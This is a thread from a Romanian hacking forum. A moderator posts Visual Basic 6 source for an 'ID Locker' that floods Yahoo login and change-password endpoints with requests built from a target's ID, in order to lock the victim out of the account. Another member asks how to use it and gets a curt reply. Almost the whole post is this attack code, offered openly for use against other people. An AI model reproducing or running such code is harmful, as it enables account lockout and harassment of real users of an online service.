Filehost.ro - gazduire fisiere
EliteHackers
SALUT 2022!! NE-AM MUTAT PE DISCORD ! Vrei să inviți un prieten? [T]eoria [H]aosului [C]ontrolat - https://discord.com/invite/U4HBCHzm7r Acesta aste link-ul oficial al acestui server. 		Nou pe simpatie:
lovely_pink din Bucuresti
Femeie
24 ani
Bucuresti
cauta Barbat
26 - 49 ani
EliteHackersReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
EliteHackers / Programare / [Vb6]ID Locker [yahoo messenger] Pagini: 1 Moderat de Ad_Infinitum, AntiKiler, Puscas_marin, r3v
#1
r3v
Moderator
Postari: 1158


Code:

Private Sub Command1_Click()
Label1 = "Status: Locking 0%"
Dim StrPage As String
StrPage = Inet1.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 5%"
StrPage = Inet1.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 10%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 15 %"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 20%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 25%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 30%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 35%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 40%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 45%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 50%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 55%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 60%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 65%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 70%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 75%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 80%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 85%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 90%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 95%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 100%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Account Locked."
StrPage = ""
End Sub

autor: meteora

_______________________________________
http://thieves-team.com
r3vyk.info
mess id: doar prin PM datorita faptului ca mi-au dat add 10000 de retardati care joaca metin
 
   
#2
mafia_wars
EliteHackers Member
Postari: 10
si ce fac cu asta unde o pun ?
 
   
#3
r3v
Moderator
Postari: 1158
scrie clar e vb6

_______________________________________
http://thieves-team.com
r3vyk.info
mess id: doar prin PM datorita faptului ca mi-au dat add 10000 de retardati care joaca metin
 
   
Pagini: 1  
Mergi la